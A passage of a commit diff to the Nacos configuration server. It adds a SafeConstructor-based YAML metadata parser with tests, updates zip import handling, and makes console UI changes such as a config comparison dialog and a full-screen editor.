* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package com.alibaba.nacos.config.server.utils;
import com.alibaba.nacos.api.exception.NacosException;
import com.alibaba.nacos.api.exception.runtime.NacosRuntimeException;
import com.alibaba.nacos.common.utils.CollectionUtils;
import com.alibaba.nacos.config.server.model.ConfigMetadata;
import org.yaml.snakeyaml.constructor.AbstractConstruct;
import org.yaml.snakeyaml.constructor.SafeConstructor;
import org.yaml.snakeyaml.introspector.Property;
import org.yaml.snakeyaml.Yaml;
import org.yaml.snakeyaml.nodes.MappingNode;
import org.yaml.snakeyaml.nodes.Node;
import org.yaml.snakeyaml.nodes.NodeTuple;
import org.yaml.snakeyaml.nodes.ScalarNode;
import org.yaml.snakeyaml.nodes.SequenceNode;
import org.yaml.snakeyaml.nodes.Tag;
import org.yaml.snakeyaml.representer.Representer;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
import java.util.stream.Collectors;
/**
* YamlParserUtil.
*
* @author Nacos
*/
public class YamlParserUtil {
private static Yaml yaml;
static {
Representer representer = new Representer() {
protected NodeTuple representJavaBeanProperty(Object javaBean, Property property, Object propertyValue,
Tag customTag) {
if (propertyValue == null) {
return null;
} else {
return super.representJavaBeanProperty(javaBean, property, propertyValue, customTag);
}
}
};
yaml = new Yaml(new YamlParserConstructor(), representer);
}
/**
* Serialize a Java object into a YAML string.
*
* @param object Java object.
* @return YAML string.
*/
public static String dumpObject(Object object) {
return yaml.dumpAsMap(object);
}
/**
* Parse YAML String and produce the corresponding Java object (Standard Java classes and in YamlParserConstructor
* specified Construct).
*
* @param content YAML String
* @param type Java object.
* @param <T> Java object type.
* @return Java object.
*/
public static <T> T loadObject(String content, Class<T> type) {
return yaml.loadAs(content, type);
}
public static class YamlParserConstructor extends SafeConstructor {
public static Tag configMetadataTag = new Tag(ConfigMetadata.class);
public YamlParserConstructor() {
super();
yamlConstructors.put(configMetadataTag, new ConstructYamlConfigMetadata());
}
}
public static class ConstructYamlConfigMetadata extends AbstractConstruct {
@Override
public Object construct(Node node) {
if (!YamlParserConstructor.configMetadataTag.getValue().equals(node.getTag().getValue())) {
throw new NacosRuntimeException(NacosException.INVALID_PARAM,
"could not determine a constructor for the tag " + node.getTag() + node.getStartMark());
}
MappingNode mNode = (MappingNode) node;
List<NodeTuple> value = mNode.getValue();
if (CollectionUtils.isEmpty(value)) {
return null;
}
NodeTuple nodeTuple = value.get(0);
ConfigMetadata configMetadata = new ConfigMetadata();
SequenceNode sequenceNode = (SequenceNode) nodeTuple.getValueNode();
if (CollectionUtils.isEmpty(sequenceNode.getValue())) {
return configMetadata;
}
List<ConfigMetadata.ConfigExportItem> exportItems = sequenceNode.getValue().stream().map(itemValue -> {
ConfigMetadata.ConfigExportItem configExportItem = new ConfigMetadata.ConfigExportItem();
MappingNode itemMap = (MappingNode) itemValue;
List<NodeTuple> propertyValues = itemMap.getValue();
Map<String, String> metadataMap = new HashMap<>(propertyValues.size());
propertyValues.forEach(metadata -> {
ScalarNode keyNode = (ScalarNode) metadata.getKeyNode();
ScalarNode valueNode = (ScalarNode) metadata.getValueNode();
metadataMap.put(keyNode.getValue(), valueNode.getValue());
});
configExportItem.setDataId(metadataMap.get("dataId"));
configExportItem.setGroup(metadataMap.get("group"));
configExportItem.setType(metadataMap.get("type"));
configExportItem.setDesc(metadataMap.get("desc"));
configExportItem.setAppName(metadataMap.get("appName"));
return configExportItem;
}).collect(Collectors.toList());
configMetadata.setMetadata(exportItems);
return configMetadata;
}
}
}

View File

@ -16,6 +16,7 @@
package com.alibaba.nacos.config.server.utils;
import com.alibaba.nacos.config.server.constant.Constants;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
@ -133,11 +134,16 @@ public class ZipUtils {
while ((offset = zipIn.read(buffer)) != -1) {
out.write(buffer, 0, offset);
}
if (".meta.yml".equals(entry.getName())) {
metaDataItem = new ZipItem(entry.getName(), out.toString("UTF-8"));
} else {
itemList.add(new ZipItem(entry.getName(), out.toString("UTF-8")));
String entryName = entry.getName();
if (metaDataItem == null && Constants.CONFIG_EXPORT_METADATA.equals(entryName)) {
metaDataItem = new ZipItem(entryName, out.toString("UTF-8"));
continue;
}
if (metaDataItem == null && Constants.CONFIG_EXPORT_METADATA_NEW.equals(entryName)) {
metaDataItem = new ZipItem(entryName, out.toString("UTF-8"));
continue;
}
itemList.add(new ZipItem(entryName, out.toString("UTF-8")));
} catch (IOException e) {
LOGGER.error("unzip error", e);
}

View File

@ -0,0 +1,97 @@
/*
* Copyright 1999-2018 Alibaba Group Holding Ltd.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package com.alibaba.nacos.config.server.utils;
import com.alibaba.nacos.config.server.model.ConfigMetadata;
import org.junit.Assert;
import org.junit.Before;
import org.junit.Test;
import org.yaml.snakeyaml.constructor.ConstructorException;
import java.util.ArrayList;
import java.util.List;
public class YamlParserUtilTest {
private static final String CONFIG_METADATA_STRING =
"metadata:\n" + "- dataId: testData1\n" + " group: testGroup1\n" + " type: text\n"
+ "- appName: testAppName\n" + " dataId: testData2\n" + " desc: test desc\n"
+ " group: testGroup2\n" + " type: yaml\n";
private ConfigMetadata.ConfigExportItem item1;
private ConfigMetadata.ConfigExportItem item2;
@Before
public void setUp() {
item1 = new ConfigMetadata.ConfigExportItem();
item1.setDataId("testData1");
item1.setGroup("testGroup1");
item1.setType("text");
item2 = new ConfigMetadata.ConfigExportItem();
item2.setDataId("testData2");
item2.setGroup("testGroup2");
item2.setType("yaml");
item2.setAppName("testAppName");
item2.setDesc("test desc");
}
@Test
public void testDumpObject() {
ConfigMetadata configMetadata = new ConfigMetadata();
List<ConfigMetadata.ConfigExportItem> configMetadataItems = new ArrayList<>();
configMetadataItems.add(item1);
configMetadataItems.add(item2);
configMetadata.setMetadata(configMetadataItems);
String parseString = YamlParserUtil.dumpObject(configMetadata);
Assert.assertEquals(CONFIG_METADATA_STRING, parseString);
}
@Test
public void testLoadObject() {
ConfigMetadata configMetadata = YamlParserUtil.loadObject(CONFIG_METADATA_STRING, ConfigMetadata.class);
Assert.assertNotNull(configMetadata);
List<ConfigMetadata.ConfigExportItem> metadataList = configMetadata.getMetadata();
Assert.assertNotNull(metadataList);
Assert.assertEquals(metadataList.size(), 2);
ConfigMetadata.ConfigExportItem configExportItem1 = metadataList.get(0);
ConfigMetadata.ConfigExportItem configExportItem2 = metadataList.get(1);
Assert.assertEquals(configExportItem1, item1);
Assert.assertEquals(configExportItem2, item2);
}
@Test(expected = ConstructorException.class)
public void testNotSupportType() {
YamlParserUtil.loadObject("name: test", YamlTest.class);
}
private static class YamlTest {
private String name;
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
}
}

View File

@ -85,7 +85,7 @@
<groupId>com.alibaba.nacos</groupId>
<artifactId>nacos-all</artifactId>
<relativePath>../pom.xml</relativePath>
<version>1.4.1</version>
<version>${revision}</version>
</parent>
<properties>

View File

@ -16,8 +16,6 @@
package com.alibaba.nacos.consistency;
import com.alibaba.nacos.common.executor.ExecutorFactory;
import com.alibaba.nacos.common.executor.NameThreadFactory;
import com.alibaba.nacos.common.utils.Observable;
import com.alibaba.nacos.common.utils.Observer;
import com.alibaba.nacos.common.utils.StringUtils;
@ -25,26 +23,19 @@ import org.javatuples.Pair;
import java.util.Map;
import java.util.TreeMap;
import java.util.concurrent.BlockingQueue;
import java.util.concurrent.ConcurrentHashMap;
import java.util.concurrent.Executor;
import java.util.concurrent.LinkedBlockingQueue;
import java.util.concurrent.locks.ReentrantReadWriteLock;
/**
* Consistent protocol metadata information, &lt;Key, &lt;Key, Value &gt;&gt; structure Listeners that can register to listen to
* changes in value.
* Consistent protocol metadata information, &lt;Key, &lt;Key, Value &gt;&gt; structure Listeners that can register to
* listen to changes in value.
*
* @author <a href="mailto:liaochuntao@live.com">liaochuntao</a>
*/
@SuppressWarnings("PMD.Rule:CollectionInitShouldAssignCapacityRule")
public final class ProtocolMetaData {
private static final Executor EXECUTOR = ExecutorFactory.Managed
.newFixedExecutorService(ProtocolMetaData.class.getCanonicalName(), 4,
new NameThreadFactory("com.alibaba.nacos.consistency.protocol.metadata"));
private Map<String, MetaData> metaDataMap = new ConcurrentHashMap<>(4);
private final Map<String, MetaData> metaDataMap = new ConcurrentHashMap<>(4);
public Map<String, Map<Object, Object>> getMetaDataMap() {
return metaDataMap.entrySet().stream().map(entry -> Pair.with(entry.getKey(),
@ -72,7 +63,7 @@ public final class ProtocolMetaData {
/**
* get protocol metadata by group and key.
*
* @param group group name
* @param group group name
* @param subKey key
* @return target value
*/
@ -154,8 +145,6 @@ public final class ProtocolMetaData {
private volatile Object data;
private transient BlockingQueue<Object> deferObject = new LinkedBlockingQueue<>();
public ValueItem(String path) {
this.path = path;
}
@ -173,19 +162,15 @@ public final class ProtocolMetaData {
writeLock.lock();
try {
this.data = data;
deferObject.offer(data);
setChanged();
EXECUTOR.execute(() -> {
try {
notifyObservers(deferObject.take());
} catch (InterruptedException ignore) {
Thread.interrupted();
}
});
notifyObservers();
} finally {
writeLock.unlock();
}
}
public String getPath() {
return path;
}
}
}

View File

@ -46,8 +46,9 @@ public class ProtocolMetaDataTest {
CountDownLatch latch = new CountDownLatch(2);
metaData.subscribe("global", "test-1", (o, arg) -> {
System.out.println(arg);
metaData.subscribe("global", "test-1", o -> {
ProtocolMetaData.ValueItem item = (ProtocolMetaData.ValueItem) o;
System.out.println(item.getData());
count.incrementAndGet();
latch.countDown();
});

View File

@ -41,7 +41,6 @@ module.exports = Object.assign({}, base, {
new OptimizeCSSAssetsPlugin({}),
],
},
devtool: 'eval-source-map',
plugins: [
new CleanWebpackPlugin({
cleanOnceBeforeBuildPatterns:[

View File

@ -102,7 +102,6 @@ class DiffEditorDialog extends React.Component {
)}
</div>
);
console.log(footer);
return (
<div>
<Dialog

View File

@ -165,8 +165,8 @@ class NameSpaceList extends React.Component {
const namespacesBtn = namespaceList.map((obj, index) => {
const style =
obj.namespace === nownamespace
? { color: '#00C1DE', marginRight: 10, border: 'none', fontSize: 12 }
: { color: '#666', marginRight: 10, border: 'none', fontSize: 12 };
? { color: '#00C1DE', paddingRight: 10, border: 'none', fontSize: 12 }
: { color: '#666', paddingRight: 10, border: 'none', fontSize: 12 };
return (
<div key={index} style={{ float: 'left', cursor: 'pointer' }}>
{index === 0 ? '' : <span style={{ marginRight: 5, marginLeft: 5 }}>|</span>}

View File

@ -28,6 +28,8 @@ const I18N_CONF = {
},
Login: {
login: 'Login',
internalSysTip1: 'Internal system.',
internalSysTip2: 'Not exposed to the public network',
submit: 'Submit',
pleaseInputUsername: 'Please input username',
pleaseInputPassword: 'Please input password',
@ -117,6 +119,7 @@ const I18N_CONF = {
prompt: 'Confirm',
promptDelete: 'Do you want to delete the service?',
create: 'Create Service',
subscriber: 'Subscriber',
},
SubscriberList: {
subscriberList: 'Subscriber List',
@ -271,8 +274,8 @@ const I18N_CONF = {
configurationManagement8: 'configuration management',
queryResults: 'Search Results: Found',
articleMeetRequirements: 'configuration items',
fuzzyd: 'Add wildcard \'*\' for fuzzy query',
fuzzyg: 'Add wildcard \'*\' for fuzzy query',
fuzzyd: "Add wildcard '*' for fuzzy query",
fuzzyg: "Add wildcard '*' for fuzzy query",
query: 'Search',
advancedQuery9: 'Advanced Query',
application0: 'Application:',
@ -282,6 +285,7 @@ const I18N_CONF = {
application: 'Application',
operation: 'Operation',
export: 'Export query results',
newExport: 'New version export query results',
import: 'Import',
uploadBtn: 'Upload File',
importSucc: 'The import was successful',
@ -301,16 +305,20 @@ const I18N_CONF = {
samePreparation: 'Same preparation',
targetNamespace: 'Target namespace',
conflictConfig: 'Conflict-detected configuration items',
importSuccEntries: 'Successful entries: ',
failureEntries: 'Failure entries',
unprocessedEntries: 'Unprocessed entries',
unrecognizedEntries: 'Unrecognized entries',
skippedEntries: 'skipped entries',
exportSelected: 'Export selected configs',
newExportSelected: 'New version export selected configs',
clone: 'Clone',
exportSelectedAlertTitle: 'Export config',
exportSelectedAlertContent: 'please select the configuration to export',
cloneSucc: 'The clone was successful',
cloneAbort: 'Clone abort',
cloneSuccBegin: 'The clone was successful,with ',
cloneSuccEntries: 'Successful entries: ',
cloneSuccEnd: 'configuration items cloned',
cloneFail: 'Clone failed',
getNamespaceFailed: 'get the namespace failed',
@ -507,6 +515,14 @@ const I18N_CONF = {
versionComparison: 'Version Comparison',
dialogCurrentArea: 'Current Version',
dialogOriginalArea: 'Previous Version',
configComparison: 'Config Comparison',
dialogCurrentConfig: 'Current Config',
dialogComparedConfig: 'Compared Config',
configComparisonTitle: 'Select Config',
dataIdInput: 'Please Enter Data Id',
groupInput: 'Please Enter Group',
namespaceSelect: 'Please Select namespace',
configNotFind: 'The Configuration is not found, Please select again',
},
ConfigRollback: {
rollBack: 'Roll Back',

View File

@ -26,6 +26,7 @@ const I18N_CONF = {
},
Login: {
login: '登录',
internalSysTip1: '内部系统不可暴露到公网',
submit: '提交',
pleaseInputUsername: '请输入用户名',
pleaseInputPassword: '请输入密码',
@ -117,6 +118,7 @@ const I18N_CONF = {
prompt: '提示',
promptDelete: '确定要删除当前服务吗',
create: '创建服务',
subscriber: '订阅者',
},
SubscriberList: {
subscriberList: '订阅者列表',
@ -270,8 +272,8 @@ const I18N_CONF = {
configurationManagement8: '配置管理',
queryResults: '查询结果共查询到',
articleMeetRequirements: '条满足要求的配置',
fuzzyd: '添加通配符\'*\'进行模糊查询',
fuzzyg: '添加通配符\'*\'进行模糊查询',
fuzzyd: "添加通配符'*'进行模糊查询",
fuzzyg: "添加通配符'*'进行模糊查询",
query: '查询',
advancedQuery9: '高级查询',
application0: '归属应用:',
@ -281,6 +283,7 @@ const I18N_CONF = {
application: '归属应用:',
operation: '操作',
export: '导出查询结果',
newExport: '新版导出查询结果',
import: '导入配置',
uploadBtn: '上传文件',
importSucc: '导入成功',
@ -299,16 +302,20 @@ const I18N_CONF = {
samePreparation: '相同配置',
targetNamespace: '目标空间',
conflictConfig: '检测到冲突的配置项',
importSuccEntries: '成功导入条目数: ',
failureEntries: '失败的条目',
unprocessedEntries: '未处理的条目',
unrecognizedEntries: '未识别的条目',
skippedEntries: '跳过的条目',
exportSelected: '导出选中的配置',
newExportSelected: '新版导出选中的配置',
clone: '克隆',
exportSelectedAlertTitle: '配置导出',
exportSelectedAlertContent: '请选择要导出的配置',
cloneSucc: '克隆成功',
cloneAbort: '克隆终止',
cloneSuccBegin: '克隆成功,克隆了',
cloneSuccEntries: '成功克隆条目数: ',
cloneSuccEnd: '项配置',
cloneFail: '克隆失败',
getNamespaceFailed: '获取命名空间失败',
@ -504,6 +511,14 @@ const I18N_CONF = {
versionComparison: '版本对比',
dialogCurrentArea: '当前版本',
dialogOriginalArea: '上一版本',
configComparison: '配置对比',
dialogCurrentConfig: '当前配置',
dialogComparedConfig: '被比较配置',
configComparisonTitle: '选择配置',
dataIdInput: '请输入Data Id',
groupInput: '请输入Group',
namespaceSelect: '请选择命名空间',
configNotFind: '未查询到指定配置,请重新选择',
},
ConfigRollback: {
rollBack: '回滚配置',

View File

@ -0,0 +1,136 @@
/*
* Copyright 1999-2018 Alibaba Group Holding Ltd.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
import React from 'react';
import PropTypes from 'prop-types';
import { Field, Form, Input, Dialog, ConfigProvider, Select } from '@alifd/next';
import { connect } from 'react-redux';
import { getNamespaces } from '../../../reducers/namespace';
import { request } from '../../../globalLib';
const FormItem = Form.Item;
const { Option } = Select;
const formItemLayout = {
labelCol: { fixedSpan: 4 },
wrapperCol: { span: 19 },
};
@connect(state => ({ namespaces: state.namespace.namespaces }), { getNamespaces })
@ConfigProvider.config
class ConfigCompared extends React.Component {
static displayName = 'ConfigCompare';
field = new Field(this);
static propTypes = {
locale: PropTypes.object,
dataId: PropTypes.string,
group: PropTypes.string,
visible: PropTypes.bool,
onOk: PropTypes.func,
onCancel: PropTypes.func,
};
constructor(props) {
super(props);
this.state = {
namespacesDataSource: [],
};
}
componentDidMount() {
this.getNamespaces();
}
getNamespaces() {
request({
type: 'get',
url: 'v1/console/namespaces',
success: res => {
if (res.code === 200) {
const { namespacesDataSource } = this.state;
this.setState({ namespacesDataSource: res.data });
} else {
Dialog.alert({
title: prompt,
content: res.message,
});
}
},
error: res => {
window.namespaceList = [
{
namespace: '',
namespaceShowName: '公共空间',
type: 0,
},
];
},
});
}
render() {
const { locale = {} } = this.props;
const { getError } = this.field;
const { visible, onOk, onCancel, dataId, group } = this.props;
const { namespacesDataSource } = this.state;
return (
<>
<Dialog
title={locale.configComparisonTitle}
visible={visible}
onOk={() => {
const fields = {
dataId: 'dataId',
group: 'group',
namespace: 'namespace',
};
const vals = Object.keys(fields).map(key => {
return this.field.getValue(key);
});
onOk(vals);
}}
onClose={onCancel}
onCancel={onCancel}
afterClose={() => this.field.reset()}
>
<Form style={{ width: 430 }} {...formItemLayout} field={this.field}>
<FormItem label={'namespace'} help={getError('namespace')}>
<Select
name="namespace"
placeholder={locale.namespaceSelect}
style={{ width: '100%' }}
>
{namespacesDataSource.map(({ namespace, namespaceShowName }) => (
<Option value={namespace}>
{namespaceShowName} {namespace ? `(${namespace})` : ''}
</Option>
))}
</Select>
</FormItem>
<FormItem label={'Data Id'} required help={getError('Data Id')}>
<Input name="dataId" trim placeholder={locale.dataIdInput} defaultValue={dataId} />
</FormItem>
<FormItem label={'Group'} required help={getError('Group')}>
<Input name="group" trim placeholder={locale.configComparison} defaultValue={group} />
</FormItem>
</Form>
</Dialog>
</>
);
}
}
export default ConfigCompared;

View File

@ -32,6 +32,8 @@ import DiffEditorDialog from '../../../components/DiffEditorDialog';
import './index.scss';
import PropTypes from 'prop-types';
import requestUtils from '../../../utils/request';
import ConfigCompared from './ConfigCompared';
const TabPane = Tab.Item;
const FormItem = Form.Item;
@ -57,6 +59,7 @@ class ConfigDetail extends React.Component {
checkedBeta: false,
switchEncrypt: false,
tag: [],
editorClass: 'editor-normal',
};
this.field = new Field(this);
this.dataId = getParams('dataId') || 'yanlin';
@ -69,12 +72,14 @@ class ConfigDetail extends React.Component {
this.pageSize = getParams('pageSize');
this.pageNo = getParams('pageNo');
this.diffEditorDialog = React.createRef();
this.compareEditorDialog = React.createRef();
// this.params = window.location.hash.split('?')[1]||'';
}
componentDidMount() {
this.initData();
this.getDataDetail();
this.initFullScreenEvent();
}
initData() {
@ -87,6 +92,22 @@ class ConfigDetail extends React.Component {
this.setState({ tag: [{ title: locale.official, key: 'normal' }] });
}
initFullScreenEvent() {
document.body.addEventListener('keydown', e => {
if (e.key === 'F1') {
e.preventDefault();
this.setState({
editorClass: 'editor-full-screen',
});
}
if (e.key === 'Escape') {
this.setState({
editorClass: 'editor-normal',
});
}
});
}
openLoading() {
this.setState({
loading: true,
@ -227,8 +248,39 @@ class ConfigDetail extends React.Component {
});
}
openCompare = ([dataId, group, tenant]) => {
let self = this;
const { locale = {} } = this.props;
let leftvalue = this.monacoEditor.getValue();
const params = {
show: 'all',
group,
dataId,
tenant,
};
requestUtils.get('v1/cs/configs', { params }).then(res => {
if (res != null && res !== '') {
let rightvalue = res.content;
leftvalue = leftvalue.replace(/\r\n/g, '\n').replace(/\n/g, '\r\n');
rightvalue = rightvalue.replace(/\r\n/g, '\n').replace(/\n/g, '\r\n');
self.compareEditorDialog.current.getInstance().openDialog(leftvalue, rightvalue);
} else {
Dialog.alert({ title: locale.error, content: locale.configNotFind });
}
});
};
onClickConfigCompare() {
this.setState({ configCompareVisible: true });
}
closeConfigCompare() {
this.setState({ configCompareVisible: false });
}
render() {
const { locale = {} } = this.props;
const { configCompareVisible, editorClass } = this.state;
const { init } = this.field;
const formItemLayout = {
labelCol: {
@ -313,11 +365,14 @@ class ConfigDetail extends React.Component {
<Input htmlType={'text'} readOnly {...init('md5')} />
</FormItem>
<FormItem label={locale.configuration} required {...formItemLayout}>
<div style={{ clear: 'both', height: 300 }} id="container" />
<div className={editorClass} id="container" />
</FormItem>
</Form>
<Row>
<Col span="24" className="button-list">
<Button size="large" type="primary" onClick={() => this.onClickConfigCompare()}>
{locale.configComparison}
</Button>{' '}
<Button size="large" type="primary" onClick={this.openDiff.bind(this)}>
{locale.versionComparison}
</Button>{' '}
@ -332,7 +387,22 @@ class ConfigDetail extends React.Component {
currentArea={locale.dialogCurrentArea}
originalArea={locale.dialogOriginalArea}
/>
<DiffEditorDialog
ref={this.compareEditorDialog}
title={locale.configComparison}
currentArea={locale.dialogCurrentConfig}
originalArea={locale.dialogComparedConfig}
/>
</Loading>
<ConfigCompared
visible={configCompareVisible}
dataId={this.dataId}
group={this.group}
onOk={config => {
this.openCompare(config);
}}
onCancel={() => this.closeConfigCompare()}
/>
</div>
);
}

View File

@ -19,4 +19,17 @@
margin-left: 1em;
font-size: 14px;
}
}
.editor-full-screen {
width: 100%;
height: 100%;
position: fixed;
top: 0;
left: 0;
z-index: 100;
}
.editor-normal {
clear: both;
height: 300px;
}

View File

@ -369,7 +369,7 @@ class ConfigEditor extends React.Component {
appName: this.inApp ? this.edasAppId : this.field.getValue('appName'),
group: this.field.getValue('group'),
desc: this.field.getValue('desc'),
config_tags: this.state.config_tags.join(),
config_tags: this.state.config_tags.join(','),
type: this.state.configType,
content,
tenant: this.tenant,

View File

@ -85,7 +85,9 @@ class ConfigEditor extends React.Component {
type: 'text', // 配置格式
},
tagDataSource: [],
subscriberDataSource: [],
openAdvancedSettings: false,
editorClass: 'editor-normal',
};
this.successDialog = React.createRef();
this.diffEditorDialog = React.createRef();
@ -113,6 +115,7 @@ class ConfigEditor extends React.Component {
betaPublishSuccess: true,
});
});
this.getSubscribesByNamespace();
}
);
} else {
@ -121,6 +124,7 @@ class ConfigEditor extends React.Component {
}
this.initMoacoEditor('text', '');
}
this.initFullScreenEvent();
});
}
@ -153,6 +157,22 @@ class ConfigEditor extends React.Component {
}
}
initFullScreenEvent() {
document.body.addEventListener('keydown', e => {
if (e.key === 'F1') {
e.preventDefault();
this.setState({
editorClass: 'editor-full-screen',
});
}
if (e.key === 'Escape') {
this.setState({
editorClass: 'editor-normal',
});
}
});
}
createDiffCodeMirror(leftCode, rightCode) {
const target = this.diffEditorDialog.current.getInstance();
target.innerHTML = '';
@ -238,7 +258,12 @@ class ConfigEditor extends React.Component {
Object.keys(form).forEach(key => {
payload[key] = form[key];
});
let configTags = this.state.form.config_tags;
if (configTags.length > 0) {
payload.config_tags = configTags.join(',');
}
const stringify = require('qs/lib/stringify');
this.setState({ loading: true });
return request({
url: 'v1/cs/configs',
method: 'post',
@ -251,6 +276,7 @@ class ConfigEditor extends React.Component {
}
this.getConfig(beta);
}
this.setState({ loading: false });
return res;
});
}
@ -306,18 +332,20 @@ class ConfigEditor extends React.Component {
setConfigTags(tags) {
const { tagDataSource } = this.state;
const lastTag = tags[tags.length - 1];
if (tagDataSource.indexOf(lastTag) < 0) {
this.setState({ tagDataSource: [...tagDataSource, lastTag] });
}
if (tags.length > 5) {
tags.pop();
}
tags.forEach((v, i) => {
if (v.indexOf(',') !== -1 || v.indexOf('=') !== -1) {
tags.splice(i, 1);
if (tags.length > 0) {
const lastTag = tags[tags.length - 1];
if (tagDataSource.indexOf(lastTag) < 0) {
this.setState({ tagDataSource: [...tagDataSource, lastTag] });
}
});
if (tags.length > 5) {
tags.pop();
}
tags.forEach((v, i) => {
if (v.indexOf(',') !== -1 || v.indexOf('=') !== -1) {
tags.splice(i, 1);
}
});
}
this.changeForm({ config_tags: tags });
}
@ -363,6 +391,31 @@ class ConfigEditor extends React.Component {
this.changeForm({ ...form, config_tags: configTags ? configTags.split(',') : [] });
this.initMoacoEditor(type, content);
this.codeVal = content;
this.setState({
tagDataSource: this.state.form.config_tags,
});
return res;
});
}
getSubscribesByNamespace() {
const namespace = getParams('namespace');
const { dataId, group } = this.state.form;
const params = {
dataId,
group,
namespaceId: namespace,
tenant: namespace,
};
// get subscribes of the namespace
return request.get('v1/cs/configs/listener', { params }).then(res => {
const { subscriberDataSource } = this.state;
const lisentersGroupkeyIpMap = res.lisentersGroupkeyStatus;
if (lisentersGroupkeyIpMap) {
this.setState({
subscriberDataSource: subscriberDataSource.concat(Object.keys(lisentersGroupkeyIpMap)),
});
}
return res;
});
}
@ -405,6 +458,8 @@ class ConfigEditor extends React.Component {
tabActiveKey,
dataIdError = {},
groupError = {},
subscriberDataSource,
editorClass,
} = this.state;
const { locale = {} } = this.props;
@ -491,11 +546,16 @@ class ConfigEditor extends React.Component {
</Checkbox>
)}
{isBeta && (
<Input.TextArea
aria-label="TextArea"
placeholder="127.0.0.1,127.0.0.2"
value={betaIps}
onChange={betaIps => this.setState({ betaIps })}
<Select
size="medium"
hasArrow
autoWidth
mode="tag"
filterLocal
dataSource={subscriberDataSource}
onChange={betaIps => this.setState({ betaIps: betaIps.join(',') })}
hasClear
value={betaIps ? betaIps.split(',') : []}
/>
)}
</Form.Item>
@ -533,7 +593,7 @@ class ConfigEditor extends React.Component {
</div>
}
>
<div style={{ clear: 'both', height: 300 }} id="container" />
<div id="container" className={editorClass} />
</Form.Item>
</Form>
<Row>

View File

@ -73,4 +73,16 @@
font-size: 14px;
}
}
.editor-full-screen {
width: 100%;
height: 100%;
position: fixed;
top: 0;
left: 0;
z-index: 100;
}
.editor-normal {
clear: both;
height: 300px;
}
}

View File

@ -27,12 +27,10 @@ import {
Form,
Icon,
Input,
Loading,
Menu,
Pagination,
Select,
Table,
Grid,
Upload,
Message,
} from '@alifd/next';
@ -41,7 +39,7 @@ import RegionGroup from 'components/RegionGroup';
import ShowCodeing from 'components/ShowCodeing';
import DeleteDialog from 'components/DeleteDialog';
import DashboardCard from './DashboardCard';
import { getParams, setParams, request, aliwareIntl } from '@/globalLib';
import { getParams, setParams, request } from '@/globalLib';
import { connect } from 'react-redux';
import { getConfigs } from '../../../reducers/configuration';
@ -162,47 +160,6 @@ class ConfigurationManagement extends React.Component {
this.setState({ isCn: localStorage.getItem(LANGUAGE_KEY) === 'zh-CN' });
}
/**
* 获取概览页数据
*/
getContentList() {
request({
url: 'com.alibaba.nacos.service.dashlist', // com.alibaba. 开头最终会转换为真正的url地址
data: {},
$data: {}, // 替换请求url路径中{}占位符的内容
success: res => {
if (res.code === 200 && res.data) {
if (res.data.length === 0) {
this.setState({
hasdash: false,
});
} else {
// 前端默认排序
let sortList = [];
for (let j = 0, len = res.data.length; j < len; j++) {
let item = res.data[j];
sortList.push({
k: item.appName || '' + item.group || '' + item.dataId || '',
v: item,
});
}
sortList.sort(function(a, b) {
return a.k.localeCompare(b.k);
});
let showList = [];
for (let j = 0, len = sortList.length; j < len; j++) {
showList.push(sortList[j].v);
}
this.setState({
hasdash: true,
contentList: showList,
});
}
}
},
});
}
toggleShowQuestionnaire(value) {
if (value) {
localStorage.setItem('acm_questionnaire', 1);
@ -223,11 +180,25 @@ class ConfigurationManagement extends React.Component {
navTo(url, record) {
this.serverId = getParams('serverId') || '';
this.tenant = getParams('namespace') || ''; // 为当前实例保存tenant参数
this.props.history.push(
`${url}?serverId=${this.serverId || ''}&dataId=${record.dataId}&group=${
record.group
}&namespace=${this.tenant}`
);
switch (url) {
case '/historyRollback':
url = `${url}?historyServerId=${this.serverId || ''}&historyDataId=${
record.dataId
}&historyGroup=${record.group}&namespace=${this.tenant}`;
break;
case '/listeningToQuery':
url = `${url}?listeningServerId=${this.serverId || ''}&listeningDataId=${
record.dataId
}&listeningGroup=${record.group}&namespace=${this.tenant}`;
break;
case '/pushTrajectory':
url = `${url}?serverId=${this.serverId || ''}&dataId=${record.dataId}&group=${
record.group
}&namespace=${this.tenant}`;
break;
default:
}
this.props.history.push(url);
}
openLoading() {
@ -318,8 +289,6 @@ class ConfigurationManagement extends React.Component {
});
}
showMore() {}
chooseNav(record, key) {
const self = this;
switch (key) {
@ -384,10 +353,6 @@ class ConfigurationManagement extends React.Component {
});
}
renderLastTime(value, index, record) {
return <div>{aliwareIntl.intlNumberFormat(record.lastModifiedTime)}</div>;
}
showCode(record) {
this.showcode.current.getInstance().openDialog(record);
}
@ -442,56 +407,20 @@ class ConfigurationManagement extends React.Component {
}
onChangeSort(dataIndex, order) {
this.dataSource.sort(function(a, b) {
const { configurations = {} } = this.props;
configurations.pageItems.sort(function(a, b) {
if (order === 'asc') {
return (a[dataIndex] + '').localeCompare(b[dataIndex] + '');
}
return (b[dataIndex] + '').localeCompare(a[dataIndex] + '');
});
this.forceUpdate();
}
handlePageSizeChange(pageSize) {
this.setState({ pageSize }, () => this.changePage(1));
}
chooseFieldChange(fieldValue) {
this.setState({
fieldValue,
});
}
showSelect(value) {
this.setState({
selectValue: value,
});
if (value.indexOf('appName') !== -1) {
this.setState({
showAppName: true,
});
} else {
this.setState({
showAppName: false,
});
}
if (value.indexOf('group') !== -1) {
this.setState({
showgroup: true,
});
} else {
this.setState({
showgroup: false,
});
}
this.chooseFieldChange(value);
}
getAppName(value) {
